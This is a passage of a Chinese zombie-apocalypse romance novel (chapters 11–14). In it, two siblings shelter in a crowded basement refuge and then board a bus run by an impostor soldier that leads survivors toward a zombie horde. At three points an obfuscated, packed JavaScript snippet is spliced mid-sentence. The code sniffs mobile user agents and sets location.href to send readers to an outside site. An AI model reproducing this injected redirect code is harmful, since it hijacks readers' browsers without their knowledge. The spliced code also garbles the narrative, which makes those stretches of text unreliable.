咆哮的风从侧面灌进了阮时卿的口鼻,让她忍不住在心里尖叫,同时更加用力地抱紧和贴近成晏。 不得不说他车技很好,几只丧尸迎面扑过来都能被他紧急制动再一个拐弯逃开。他流畅地拐了好几个弯,阮时卿便觉得自己在不停地摇摆,有些眩晕。 当他们终于驶出小区,来到街道上,他踩着油门让车子顺势滑出了一段流畅的直线。剧烈的摇摆消失,只剩车轮贴着地面轻轻滚动的震感。 他们来到一个岔路口,几辆货车和小轿车撞在一起阻隔了道路的视线,不过阻挡不了他们灵活的摩托。 “卿卿,听声音!”他说,“这几条路都能到,选一条丧尸最少的。” “左边!”阮时卿喊道,她听到左边有水声,前方有纷乱的脚踏声,右边有撞击声。 成晏二话不说拐进左道。那条路淌着一层薄水,车轮碾过去时激起一片疾速的水浪。两侧的丧尸被水势推得踉跄后退,密集的影子瞬间被冲散。 阮时卿靠在他的后背上,看着后方怎么也冲不上来的丧尸,心悸后怕的同时也涌上一片隐秘的快感。 车在乘风奔驰,穿过一片糜烂,远方层云尽染,只有身前这个人的体温是真实可触的,有时就会生出世界只剩下他们两个人的错觉。 好像就这样开到末日尽头也不错。 “很棒。”她听到成晏说。 他没有回头,但她知道他是在夸她。 “……专心开车!” 他们开到了城区边缘,一片矮旧商业街的入口。 墙上用白色的粉末写着—— 【前有小型幸存者避难所,在左侧水果批发超市后巷地下室。】 11. 困局 这里处于城市边缘地带,况且夜晚爆发时人们基本居家,因此这边丧尸并不算多。 但末世后很多人都会来商业街寻找物资,因此也不得不防。 借着墙壁的掩体,成晏把摩托停在大树旁,然后自然地牵起阮时卿的手,躬身贴着墙壁缓慢地行进,走到入口处停下向内张望。 两列商店相对而立,人行道上大多有树木遮掩,一些黑红的影子晃动在其中,传来干涩的牙齿咬合声。而左边那列第一家商店的门牌上便挂着“水果批发”的字样,玻璃门锁着,却有破裂的痕迹。 他看准时机,带着她快速穿过中间的大道,来到水果店侧边阴影下。 而再往前去,应该就是墙上所说的“后巷。” “啪嗒——” 一颗小石子从成晏手中扔出,精准地落在对面墙角。 “嗬——” 离他最近的一只丧尸闻声赶来,还没来得及转身,头骨就受到了重重一击,从中间裂开,倒在地上抽搐不停。 除了那一只,暂时还没有看到其他的。后巷阴湿狭窄,空气里混着烂水果的酸味和脏水沟的湿气,他们一眼就望见了水果店正后方的小型仓库。 一扇卷帘门半掀着,看不清里面。门口堆满纸箱和泡沫箱,腐坏的果肉溢出来,被苍蝇盘旋着,连附近的尸臭都遮掩了些许,更闻不到鲜活的人味。 成晏侧过身,抬手护着阮时卿先弯腰钻了进去,随后跟上。 里面是个狭窄杂物间,光线比外面更暗。旧货架倒在地上,塑料筐散落一地,到处都是腐烂的水果。 “小心点,别绊到了。”他说。 再往里,是一条更深的通道。 通道尽头有一段向下的台阶,楼梯底部是一扇铁皮门,严丝合缝地关着,门后似乎有人影晃动,偶尔伴随着低低的交谈声。 那应该就是所谓的地下室了。 阮时卿顿住脚步回头,见成晏收好了武器,快速走到前面来,轻敲铁门。 几秒后,一个略显嘶哑的男声传来—— “外面的是人吗?” “是。” 里面的人似乎还在观察,随后一个中气很足的女音传了出来,伴随着细微的金属链条滑动声。 “快进来快进来。” 是一个身体很壮实的中年妇人,脸上堆满了和善朴实的笑,她身边跟着一个瘦高的戴着帷帽的男生,脸色有些阴郁。 妇人侧身让他们进来后,利落将门锁好,转身道,“我是这的房东,也是前面那家水果店的老板,姓谢。你们怎么称呼?” 那个男生没说话,只是跟在妇人身边,十分警惕地盯着他们。 也许是处于地下的原因,里面很闷,成晏刚走进来就皱起眉,但被他不着痕迹地敛去。 阮时卿倒是没多大感觉,她好奇地朝四处张望着,总感觉身旁有一股淡淡的清风,吹得很凉快。 “您好,我叫成晏。”成晏礼貌回应,然后十分自然地揽过女孩的肩膀,“这是我妹妹,阮时卿。” 那妇人朝他们俩看了好几眼,眼神略带诧异,脸上依旧挂着温和的笑意,“大家都是来这避难的,为了保证安全,有几件事得提前确认一下,身上没什么感染的伤口吧?来这不能大声讲话,不能闹事,有什么事找我。明白?” 听完成晏心里便有了数,“明白,我们都没事。” “好,随便去找个地方坐吧。” 成晏点头,带着阮时卿往里走,他敏锐地察觉到那个男生在打量他们身后鼓鼓囊囊的背包,表情没什么变化,眼神却沉了些。 地下室是个地下的封闭空间,四面都是水泥墙壁,灰白暗沉,头顶的白炽灯光亮得刺眼,却把四周照得更加压抑。角落里到处都有人坐着,中间只留了一小块过道的地方。 这里没有窗户。 空气里挤压着一股让人窒息的味道——汗味、潮湿墙皮的霉味、未干血迹的腥气混在一起,被困在这封闭空间里发酵得愈发刺鼻。 他们一进来,各种不怀好意的视线和筹谋便自四周交织而来,但都没人敢真的上前来搭讪。 不管在哪种情况下,人总是爱以最大的恶意揣测与己无关的陌生人。 “怎么又有人进来了……还嫌不够挤吗?” “他们的东西看起来好多。” “嘘……” 阮时卿听到有人窃窃私语。 成晏没有理会这些视线,只是一直将手虚拢在她周身,怕她绊到摔着。 他们走过了半个房间,终于找到一小块空地,成晏立刻提起肩带帮她把背包取下,然后和自己的一块挤着墙放。 水泥地板灰蒙蒙一片,也看不出脏净,他二话不说脱下自己的外套铺在地上,让她先坐下,自己则穿着一件紧身的毛衣。 成晏蹲下来拉开背包拉链,掏出一盒自热米饭和一瓶水,像在自家那样打开熟练地操作。 “饿不饿?”他问,说这话的时候他专心看着盒饭,甚至都没抬眼。 “有点。”阮时卿抱臂坐着,盯着他的动作发呆。 成晏盖上盖子,终于抬眼,伸手又掏出了一包面包递到她手里,“那先吃点别的垫垫肚子,饭还要等几分钟才能好。” “怎么不泡两盒?你不吃吗?”她问。 “你吃不完了我再吃。”他把盒饭放到一旁,自己也坐了下来,在她身边。 这话说的,好像我一定吃不完似的。 阮时卿默默吐槽,眼睛却有些发酸。 “嘶——” 他的手突然伸了过来裹住她的,用有些粗粝的指腹揉了揉,眉头深深拧起,“手怎么是冰的?是不是冷?” 来的时候吹了一路的风,现在地下室又这么潮湿,确实感到体温有些不太正常。但阮时卿还是不想让他担心,便摇了摇头,说只是风吹的,一会就好了。 成晏给她暖手的动作停住了,只是深深地看了她一眼便起身离开。 身旁蓦地一凉,阮时卿慌乱问道,“哥你去哪?” “去问问有没有热水。” 他头也不回地说。 阮时卿松了口气,掰着手里的面包一口口吃着,然后看到对面一个四五岁的女孩,正待在母亲地怀里好奇地朝这边张望,嘴里还嗦着手指。 “姐姐……”她张着圆润的大眼睛,小声喊。 阮时卿的动作一顿,心软得一塌糊涂。女孩的妈妈大概也是听到了声音,不好意思地朝她笑笑。 阮时卿便把剩下的一半面包分给了小女孩,换来了一声更甜腻的“谢谢姐姐”,笑得心花怒放。 这一幕刚好被折返回来的成晏瞧见,他垂了垂眼,没说什么,把装了热水的杯子递到她嘴边,“喝吧。” 热水的温度很暖,接过杯子时不小心擦过的指尖更烫。 她只顾埋头喝水,不去看他,结果中途突然听到他说—— “跟别人说话这么开心?” 差点一口水喷出来。 这语气太平淡了,平淡到听不出来是夸奖还是醋意,就像在说今天天气真好。 她把剩下半瓶热水塞回他手里,朝他也扯出一个大大的笑容,“做了好事当然开心,积下来的德都用来给成晏保平安。” 成晏显然没想到她是这个回答,微微怔愣,眼里瞬间柔和了许多,再次把手伸向她。 阮时卿躲得很快,她以为他又要把她头发揉乱。 “干嘛?” 成晏无奈收回手,“躲什么,我就想让你靠过来点。暖和。” “那直接说了不就好了真的是。” 阮时卿乖乖凑过来,靠在他肩膀上,他的手从身后绕到了肩头,把她揽得更紧了一些。 “这里不比家里,条件简陋,先将就一下人工热源。”他的手揽得很紧,头却微微偏开,耳尖泛起可疑的红晕。 不得不说有肌肉就是好,热量确实充足,阮时卿觉得他整个人都热烘烘的。 自热米饭熟了。 她正拿起来打算吭哧吭哧进食,结果地下室另一边突然响起激烈的争吵声。 “说你呢?!咳嗽成那样,谁知道你是不是感染了什么病毒?!” “我就是发烧了!正常人谁不发烧?!你能不能保证你一辈子不发烧?” “我这是为大家的安全着想,万一你出事了,祸害的可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890001|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是大家!再说了,你咳咳咳咳不也吵到其他人了吗?” “就你一个人说吵,没见着别人说,明明就是你看我不顺眼!” 许多人都伸长了脖子朝那边看,是两个挨得比较近的男人,一个疑神疑鬼,担心另一个要变成丧尸了要把他赶出去,另一个死活不承认,只说自己是发烧了。 这俩人吵着吵着就有要动手的架势。 很快姓谢的房东就赶了过来,叉着腰把两个人都骂了一顿,甚至威逼他们说再吵就滚出去才消停。 “好了,热闹看完没有?”成晏的声音把阮时卿的目光拽了回来,“吃你的饭。” 在她吃饭的时候,成晏心里却始终不大安定——管理松散,人口拥挤,素质参差不齐,很容易滋生矛盾,他觉得这个地方不太适合长期避难。 “哥,我吃不完了。”阮时卿擦了擦嘴,把剩下的一半米饭递到他眼前,换来了他有些无奈又心疼的目光。 “你的胃是越长越回去了?” 成晏没好气地说了一句,又逼着她再吃下一点,才帮着她解决完剩下的。 吃完饭后,二人都有些睡意,地下室看不到天光,自然也看不到月亮,时间的流逝在这里失去了丈量。 最后是阮时卿先趴在他腿上睡着了,成晏本来没打算睡觉,后来实在抵不住困意还是靠在身后的背包上眯了一会。 因此当阮时卿半夜醒过来的时候,她看到他皱着眉,歪着脖子,头磕在硬邦邦的墙上,睡得很不安稳。 她小心翼翼地起身,把自己的外套脱了下来,再折叠好垫在他颈后,才看见他的眉头舒展了一些。 她正要走,手腕却被人突然握住,力度很大,好像极力去抓住快要失去的东西。 “去哪?” 是成晏。 她回头看到他的眼神极为清明,不像刚睡醒惺忪朦胧的样子。 不知道什么时候醒的。或者说有可能根本没睡? “我去上个厕所。”阮时卿解释道。 他紧蹙的眉头骤然一松,同时收回了手,“嗯,去吧。” 地下室只有一个厕所。 所以她排队等了好几分钟才上去。 然而最尴尬的事来了,厕所里的纸用完了,她又刚好忘记带。阮时卿的脑子飞速转动,到处打量有什么可以用来当做纸的东西。 垃圾桶里实在太脏,pass。 地上有几张散落的纸但是在厕所门外。pass。 大声喊成晏过来?不行,太招摇了。pass。 实在不行不擦了吧天呐! 她简直欲哭无泪。 这时,一双女生的手带着几张白纸从门缝底下伸了进来。 “缺纸吗?我这有。” 大概是等了太久所以猜到了她的处境。 “谢谢!”阮时卿十分感恩。 “不客气。” 出来以后,一个驮着布袋扎着低马尾的女生映入眼帘,她很高,最显眼的是脸上那点雀斑,但这不妨碍反而增添了她整体的气质,看上去比阮时卿年龄要大些。 阮时卿再次向她道谢,然后匆忙离开。 回来的路上,她发现地下室又多了好几个人,顿时变得更加拥挤,连通行都有些困难。 “姑,咱们这地方就这么小,真的不能再进人了,再说了人多了也不好管,万一到时候出什么事怎么办?” 阮时卿脚步一顿,这声音听起来好像是那个戴着帷帽的男生,而回答他的自然是地下室的房东。他们在靠近门口的走廊,藏在白炽灯照不到的阴影里。 “见死不救的事我干不出来。” “你不干我干。咱们又不是救世主谁都救得了,有些人就是这个命。现在的人也还是太多了,到时候还得赶一批人走。” “……行,态度温和点,别太冲动。” 她心下一惊,不动声色地继续往回走,发现有几个人不睡觉,正围在一起小声说着什么。 她本无意去听,直到不小心听到—— “真的假的?市一中那边的学校操场有官方的专车安排幸存者去基地?!” 官方?专车?基地? 12. 公交 “嘘!小声点。” 另一个人小声呵斥,甚至还朝左右张望了一下,一眼就看到了距离他们大约两米的女孩。 阮时卿假装自然地经过他们身边,脚步未停。 直到她走远,那个人才再次开口,“我叔叔是当兵的,消息保真。每天上午都会有趟车,不确定是几点,但是名额有限。” “我有点不敢去……这里也挺好的。” “什么挺好的,基地安全多了!你想想,有军火,有食物,有地方住,难道不比待在外面每天担惊受怕的要好?” 那人显然被说动了。 “我再想想。” 他们大概想不到他们的对话都被另一个人听了去。 阮时卿回来以后看到成晏抱着她的外套等在那,一直没睡。她急忙坐下凑到他耳边想汇报情况却被他制止了。 “手伸出来。”他说,“先把外套穿上再说。” “哦。”阮时卿只好先乖乖穿上,然后立马跟他说了刚才的事。 却见成晏没有预想之中的惊喜,反而面色稍显凝重。 “这话听起来不假,但是不是真的还有待考证。”他想了想,看向她,“怎么了,是想去基地?” 成晏猜都能猜到她在想什么,因而用这种方式问出来,而不是等她主动提。 阮时卿点点头,又说,“刚才我听到谢阿姨和她那个侄子的谈话,说之后要赶一批人走,我想与其被赶走还不如主动离开。况且到时候这里肯定会闹大,说不定会引来丧尸。” 人的惰性是深入骨髓的,怎么可能轻易离开温柔乡。 成晏眼中露出一丝欣慰,“嗯,妹妹说得对。这里确实不适合再待着了。但是,你确定要去基地么?那里也未必比这里更安全。” 他当然知道基地在哪,也不是他不愿意去,而是大型基地变量太多,上面的人为了管理肯定会采取一些强制手段,进去就意味着妥协,他担心她不适应。 他自己当然在哪都无所谓。 成晏没有把话说得很明白,但她听了肯定会思考,会权衡,最终做出的选择才会是她自己真正想要的,而不是他有意引导的结果。 阮时卿思忖半晌,最终还是点点头,“我想去看看。” “好。”成晏几乎是立刻就回答了。 他的脸突然伸过来,凑得很近,鼻尖几乎就要蹭到。 阮时卿吓了一跳,往后躲,“干什么?” 成晏也愣了一瞬,随后轻笑一声,拇指贴在她的脸侧某个地方轻轻摩挲了一下,“这里有点灰,小花猫似的。” 阮时卿脸颊的温度迅速攀升,她有些懊恼,怎么现在一靠近就容易脸红啊,明明以前不这样。 她都有些不敢直视他的脸了。 “现在先睡觉,养足精神。明天早上我们再出发。”他拍了拍自己的大腿,示意她躺过来。 阮时卿“哦”了一声,故意背对着他躺下去,但余光却控制不住瞟向他—— 他的轮廓分明骨感,下颌线收紧,眉眼压低。少年那点青涩不知道什么时候消失了,恍然间带上了成年男人特有的力量与克制。甚至有些性感。 男人? 阮时卿第一次意识到,原来哥哥也是男人。 但她完全想象不出来他只是男人的那一面。 …… 第二天上午,市一中附近。 学校本应该是末日后集中爆发的区域之一,但这里竟然看不到几只丧尸,像是被人为清除过。 市一中位于高速公路附近,视野比较开阔,因为是新建的校区,附近的商业街还没有完全落地。几栋教学楼宿舍楼孤零零地伫立着,间杂丰富的绿植。 天还没亮操场上就来了许多人,有的从半夜就来了,直接打地铺睡的。他们守在那里,翘首以盼着什么。 除了活人,这里还有一些废弃的简易帐篷,零零散散的子弹壳,空气里似乎还弥漫着硝烟的味道。墙上用醒目的喷漆标注着—— 【坤宁市幸存者接送点】 “这车怎么还不来啊,到底是不是真的?” “肯定是真的!官方总不能不管我们的死活吧!” “我昨天就看见一群人被接走了!” 无秩序的人群开始喧哗,质疑声、反驳声一波接着一波。 “别吵了别吵了,再吵把丧尸引来了有你们好看!” 一声呵斥后,瞬间鸦雀无声,看不见的恐惧和死寂在空气里蔓延。 成晏和阮时卿混在了人群后面,他们刚刚才赶到。 “哥,这里丧尸怎么这么少?”她很好奇。 成晏看见了那些帐篷和子弹壳,心下了然,“这里有军方的人待过。” 其实这里还挺靠近阮时卿所在的大学,也就是说末日第一天听到的枪响也许是从这里传来的? 现在已经是末日第三天了。 “车来了!车来了!” 一声惊呼让所有人不约而同地看向远处驶来的某个点——一辆末日前普通的公交车,车厢只有一层。 车轮与地面摩擦的声音吸引了外面不少的丧尸,它们嘶吼着在后面追赶,有些伸长了手几乎都要攀附上车身。 “这些怪物不会进来吧?!” 有些人已经开始腿软,甚至商量着逃跑。 当公交车快要驶到操场围栏时,车窗忽然被推开,一支黑色的的制式步枪探了出来。 几声被刻意压低的枪响在风中炸开,不像预想中那样刺耳,追在车后的丧尸接连倒下,打乱了尸群的阵型。 “快快快!把门关上!!” 发动机轰鸣着冲进操场,几个人合力推拢铁门,把尸群隔绝在外。 人群爆发出一阵欢呼! 公交车停在操场中央,一个身着军装面部刚毅的男人抱着枪走了下来。他应该就是刚才发枪的人。 人们一看见这个配置都无疑相信了这是官方派来的车,他们没有被抛弃,他们有救了!事实上他们也没有选择。 男人走下来向大家敬了个军礼,然后用洪亮的声音做出宣告,“大家好!我叫邬鹏,是目前最大的幸存者基地专门派来救援的专车负责人,辛苦你们坚持到现在。现在请大家一一排好队,准备上车。 “老人孩子女人站前面,男人站后面!” 他的语气不容置疑,手上的枪就是底气。因此有些不服气而蠢蠢欲动的人也只能歇了闹事的心思。 “等会位置不够了怎么办?!”有个男人出声质疑。 “那就等明天!”邬鹏的眉头都没皱一下,“不服可以现在就离开!” 这下没人再质疑,很多人推搡着挤着抢着站到前面,一条队伍的雏形很快出现。 阮时卿僵住了,一股即将分离的巨大的恐惧攫住了她。她悄悄往成晏身边又靠近了一点,甚至主动牵住了他的手。 她没有说话,也没有转头,只是用这种方式表达她不想和他分开。 “卿卿……” 她听到成晏喊她,声音充满了无奈。 他们本来就在人群的后面,假如她再不站到前面去,很有可能就上不了。 阮时卿没有回应,把手牵得更紧了一点,但他能感觉到她的手心都是汗。 “卿卿。”他又喊了一声。 成晏尝试着松手,但没挣脱开。 “阮时卿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890002|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 这一声带了点怒意,成晏掰过她的肩膀正视她,才发现她眼尾微红,隐蕴着倔强而又委屈的清泪,被他看到以后她猛地抬手把它们都擦掉了。 他怔愣了一瞬,心疼得像是被人攥住,那些话好像怎么也说不出口了。 “听话,站到前面去。我马上就来。”他的声音很柔,像哄。 “那你要是没上来呢?”阮时卿反问道。 “不会。”成晏很坚定地说,“要是我没上车,我也会想办法赶到基地去找你,我不会让你一个人。” “你拿什么保证?” “我是你哥哥,这难道还不够吗?”他似乎有些受伤,“我什么时候骗过你。” “那你要是没来,你就是一辈子的小狗。”她终于松口。 成晏笑了一下,用小拇指勾住她的轻轻摇晃,“好,那一言为定。我争取不当小狗。” 他又帮她把背包肩带往上提了提,然后推了推她的背,“去吧。” 被推开以后,阮时卿咬了咬唇,心一狠,转身向前走去,没有再回头。 她甚至用跑的,仿佛是在用这种方式赌气。 她站到了队伍的中间,身前身后都是和她一样的女生。 身旁没有他的存在,好像少了点什么。让她惴惴不安,连背包都觉得累赘。 人群一共大概九十多个人,规规矩矩排成了很长的一队,在邬鹏的指挥下一个个上了公交。 “过道上可以站人,东西尽量拿在手上,不要放地上占位置!” 轮到阮时卿上车的时候座位已经坐满了,她只能就着扶手站在过道,她没有注意周围的状况,目光始终黏在外面某个人身上。 “让一让,你挤到我家孩子了。”有个不满的声音将她的目光拉了回来。 阮时卿这才发现她的背包有些硌到身边一个站着的小孩了,连忙把背包取下来抱在怀里,“不好意思。” 已经上了四五十个人了,过道几乎已经是人挤人,连扶手都没得抓,只能贴着彼此站着,呼吸、汗味和焦躁混在一起,让人精神紧绷。 成晏还没上来! 阮时卿很慌,心脏在胸腔里加速窜动,将呼吸都扰乱。她几乎是立刻就要动身挤出过道下车了。 外面只剩下男人,几乎都争抢着要上来,然后被邬鹏拦住。 “先停一停。接下来由我指定上车的人。” 有机会! 阮时卿按捺住激动的心情,朝外看,发现成晏一样在看着她,看不清神情。 “你。那个穿蓝色衣服的,上车。”邬鹏站在公交门口的阶梯上,抬手指了一个脸上有疤有纹身但很强壮的男人。 那人十分得意,大摇大摆地走过来。 邬鹏又打量了一番,一眼看中了站在后面的成晏,示意他上车。 阮时卿什么也顾不上了,立马从人缝里挤到前面来开心地看他,想抱他又碍于手里的包只能作罢。 还好没有分开。 成晏看着她窃喜的小表情,也笑了,手一伸轻松抓到扶手上的长杆,然后将她连人带包揽进怀里。 “包给我。”他说。 那点背包的重量对他来说不算什么,但可以让她腾出手来抓住旁边的竖杆。 邬鹏指定完人后,剩下的人都怨气冲天,嚷嚷着不公平。 “辛苦等下一趟。”邬鹏说完便示意司机关门,然后靠车门站着。 公交再次启动,驶出操场。 然而变故陡生—— 有个过道上的人突然浑身抽搐,嘴里隐约发出一些不肖人声的低语,将周围人吓得纷纷避开。 “他……他不是人!” 13. 配合 此话一出,公交上再也没有人能保持镇定。 尖叫四起,不少人推攘着朝门口挤去想要下车,局势瞬间混乱。其实有些人连情况还没弄清楚,只是恐惧大过了好奇。 “小心!” 阮时卿正要转身去看发生了什么一条手臂就横亘在了她与其他人之间,将她收拢至怀里,眼前蓦地被一片黑色遮住——是他的外套。 她感觉到一阵位移,自己完全背靠竖杆,身前则被他温热的身躯覆盖。 一股大力瞬间传至她刚才待过的位置,有人从缝隙里疯了一般挤了出来,一片混乱之中,不知是谁的刀片漏了出来,在互相碰撞中刮划出“刺啦”的声响。 她好像听到成晏闷哼了一声。 “怎么了?!”她想抬头,结果被他按住。 他说,“武器拿好,别动!” 车上已经以那个抽搐的人为中心自然形成了一个空心的包围圈。 “砰——!” 一声枪响在车上炸开,紧接着又伴随着几发子弹,那个人身上出现了几个一致的血洞,然后瘫倒在地不再动弹。 “都别再动!否则后果自负!” 邬鹏严厉的声音像是一个按钮,瞬间重整了秩序。其他人都望着过道上那具尸体倒吸一口凉气,好像那就是下一个自己。 邬鹏无视周围人惊惧的眼神,掠过成晏身侧,将尸体拖到了前面来,再用一张布盖好。动作一气呵成,好像早就处理过无数次。 处理完这一切后,他又以标准的军姿站在门口,“已经没事了,大家放心,我会保护各位的安全。” 像是一场闹剧褪去余潮,大家默默修整着,挂着一张张疲惫的脸。 成晏这才松开阮时卿,拿起地上的包重新背好。 “你没事吧?”她连忙要去检查。 “没事,就是被撞了一下。”他安抚性地摸了摸她的头发,“别担心,你哥皮糙肉厚着呢。” 阮时卿争不过他,索性不再问,盘算着去了基地再好好检查。 公交车驶离城区后,并没有上高速,而是沿着城郊主干道一路向外,路边的居民楼渐渐变成厂房,再往后,只剩下大片空地和低洼水域。 路上偶尔能瞥见几处触目惊心的血痕和零星几只游荡的丧尸。 空气好闷,粘稠刺鼻,车窗外却晴光正好,树林葱郁,能欺骗人的眼睛,异味好像也能忍受了。 好困。很适合睡觉。 这样的意识出现得太过自然,以至于阮时卿差点扶着竖杆睡了过去。 她猛地睁开眼睛,发现大多数人好像都困了,坐着的大多已经睡着了,站着的也有在打瞌睡的。 大家昨晚是集体熬夜了?还是环境太过安逸,大脑自动催眠? 成晏看起来倒是很清醒,头微微歪着,好像朝着门口的方向,不知道在看什么。 旁边有个男人的脑袋越来越重,直接朝阮时卿这边靠过来,被成晏一伸手挡了回去。 那男人立刻清醒过来,嘴一咧,朝阮时卿露出一口大白牙,“不好意思啊妹子。” 阮时卿倒是没说什么,结果成晏脚一跨横插到他们中间,把那个男人完全给挡住了,然后若无其事地平视前方,好像只是公园里随便走了两步。 “怎么了?”感受到她有些无语的眼神,成晏收回视线,和她对上目光,“想睡就睡,大概还得等好几个小时。要不靠我身上?” 他朝她张开双臂。 阮时卿却摇了摇头,问他,“你在看什么?” “我在看他。”他说。 她顺着他的方向看过去,只看到了门口的邬鹏。 他仍然以标准的军姿抱枪站在那,目光沉静如水,和她对上视线后也没有任何变化,就像在看一个与己无关的陌生人。 “他有什么好看的?”阮时卿小声问。 成晏耐心回答,“看他的动作,他的军装。” 她不懂这些,她只觉得他站得很标准很直,跟电视上看到的阅兵一样,军装就是普通的迷彩服,她完全看不出什么。 成晏知道她在想什么,便贴近她的耳侧小声说,“太刻意了,反而显得紧绷。就像越没有什么越要证明什么。” 阮时卿心里一惊,发现他总是略微调整着姿势,背都挺成了一杆枪,好像生怕别人不知道他是军队里的人。 “万一他只是习惯了呢。”她质疑,“想让别人信服他。” “也许吧。”成晏点点头,“再看他的衣服。肩章下面没有压痕,像新别的。上衣是新款,腰带和靴子却是旧式,搭得不对。 “还有,刚才他经过我身边的时候,我多看了一眼——鞋帮太硬了,没被穿开。” 阮时卿骇然,“所以你怀疑……” 她没说完。 “是。我还在找其他的破绽。”成晏很冷静,“希望是我多想了。” 他几乎从来就没有放松下来过,自从末日以后,就一直保持十分的警惕,哪怕是和她在家,也只是降低了几分。 一个是日常的高压训练让他习惯了这种紧绷,另一个则是她曾经走丢的经历埋下的创伤,环境的动荡只会重新唤醒和加剧这种失去她的创伤记忆,然后在每个午夜时分循环梦魇。 所以不能百分百确认她的安全,他很难睡着。 阮时卿的心突然跳得很快。 她不敢想象,假如不是官方派来的人,那会带他们去哪里? “长官,能不能开一下窗,车里太闷了。” 有人突然打破了车厢里的宁静。 邬鹏直接冷声拒绝,“车外太危险,再坚持一会,马上就到了。” 车厢里又恢复了沉默。 阮时卿和成晏对视一眼,都从彼此眼中看到了猜疑。 “你还记得刚才他最后挑了哪些人上来吗?”他问。 阮时卿回想了一下,大概一共是五个人,除了蓝色衣服的壮汉和成晏,剩下的……要么就是高个子要么就是肌肉男。 “他为什么要这么做?”她想不通。 “筛选。”成晏的目光变得很冷,“如果是筛选的话,一切都说得通了。” 不预设条件,这些荒诞的事实便只能看做是巧合,而巧合通常是随机的无目的的。 阮时卿突然想到,“难道让老人孩子和女人站在前面也是?!” 成晏没有回答,而是朝四周打量,脸色突变。他赶紧从背包里翻找出一只崭新的口罩,让阮时卿戴上。 “空气里有问题。”他把声音压得很低。 车厢里除了他们几乎都在沉睡。 阮时卿接过口罩,手微微颤抖,“你为什么不戴?” 成晏的目光落在不远处站得笔直的人身上,答案不言而喻。 他仍旧举着那柄枪,在观察——不,应该说是监视着车厢里的人。 车窗外的世界一点点退后。 路牌消失,车辙断绝,视野里只剩下低伏的空地和泛着冷光的水面,向远处缓慢铺展,直到天与地的界线变得模糊。 “他们要带我们去哪?”她问。 成晏摇了摇头,“不清楚,但绝对不会是什么好地方。” 他把背包都放了下来,低头看了她好一会,眼神很柔,“等会我去和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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邬鹏反应同样迅速,尖刀横扫而来,逼得成晏后撤半步。两人的动作都很干净,没有多余试探——这是受过同一类训练的人才会有的特征。 阮时卿没有坐以待毙,她挤开人群冲到车窗前,取下应急破窗锤,猛地用力去砸。 “下车!前面是尸群!!”她两眼猩红,几乎是吼出来的。 那不是她幻听。 前方的嘶吼此起彼伏,叠加成一片令人头皮发麻的噪声汹涌地奔来,她根本听不清有几只! “我们凭什么信你?!”有人出声质疑。 那些人纷纷过来要阻止她,为首的男人本来以为仗着自己力气大就能将人拽下来,头颅上忽地对上了一柄冰冷的枪口,瞬间冷汗涔涔。 “都给我滚开!” 阮时卿的声音不大,却让所有人心生畏惧。 没人再敢拦她。 成晏动作很快。 他灵活地躲过对方的掣肘和挥刀,像是能预判对方所有的招式,匕首顺着死角落下,最后一刀精准刺入胸口。 邬鹏直直地跪倒在地,满脸不可置信。 “啊啊啊杀人了!!” 然而这一声落下之后,没有人再关注眼前的尸体。 因为天幕的尽头变成了一片黑压压的尸群。 成百上千双空洞的眼睛黏腻而迟钝,像湿重的视线贴着皮肤爬过来。 它们正在奔跑—— 14. 部队 伴随着车厢内此起彼伏的惊恐尖叫,公交猛地刹住停在了路中央。 是司机! 他只身一人坐在驾驶舱内,低声骂了句什么,看不清表情,隐约能看到颤抖的肩膀。 “靠,实验室这帮变态是不管老子的死活了吗?!老子不干了!” 只有阮时卿听清了。 有人扯着嗓子冲司机喊,“调头快跑!!” 然而另一拨人却不赞同。 “不行!会被困死在这里的!” “把门打开!我们分散逃!” 车外几乎没有任何阻拦物,只有远处尽头窜出几栋房屋的黑影。一望无际的旷野衬得车成了唯一的中心,这里就像是一个巨大的屠杀场,他们全是砧板上的尸肉。 这种情况下没有人再顾得上那具尸体和此行的目的,车内的争吵声大得几乎要把车盖掀翻。 成晏抹了一把脸上的血,率先来到座舱旁边去拍打那扇玻璃,示意司机立刻把门打开。 司机没有理会他的请求,而是迅速在操作盘上操作了几下,打开驾驶舱左侧的门往远处奔逃。 他不敢回头,害怕看到密密麻麻的尸群,更怕看到车厢内那群人怨怼的眼神。 只要让公交吸引尸群的注意力,他就有机会逃出去! “该死,他把门给锁了!!” 不知是谁说了句。 阮时卿转头深深地看了那司机一眼,没人注意到她眼底一闪而过的猩红。 她飞快收回视线,调整好安全锤的角度继续朝车窗砸去。 下一秒,玻璃上的裂纹迅速蔓延,整块窗面哗啦一声塌落下来。凛冽的风第一个吹到她的脸上,让混沌的大脑清醒了不少。 “开了开了!有救了!”有人说。 阮时卿刚要转身,就被身侧一股大力猝不及防地拽了下来,差点一个踉跄摔倒。一个高大的男人抬脚踩在座椅上就要爬出去。 “让开!我先出去!” 结果下一刻腰侧被人猛地一踹,一屁股摔在地上,头还磕到了前面座椅硬邦邦的背面,发出响亮钝重的撞击声。 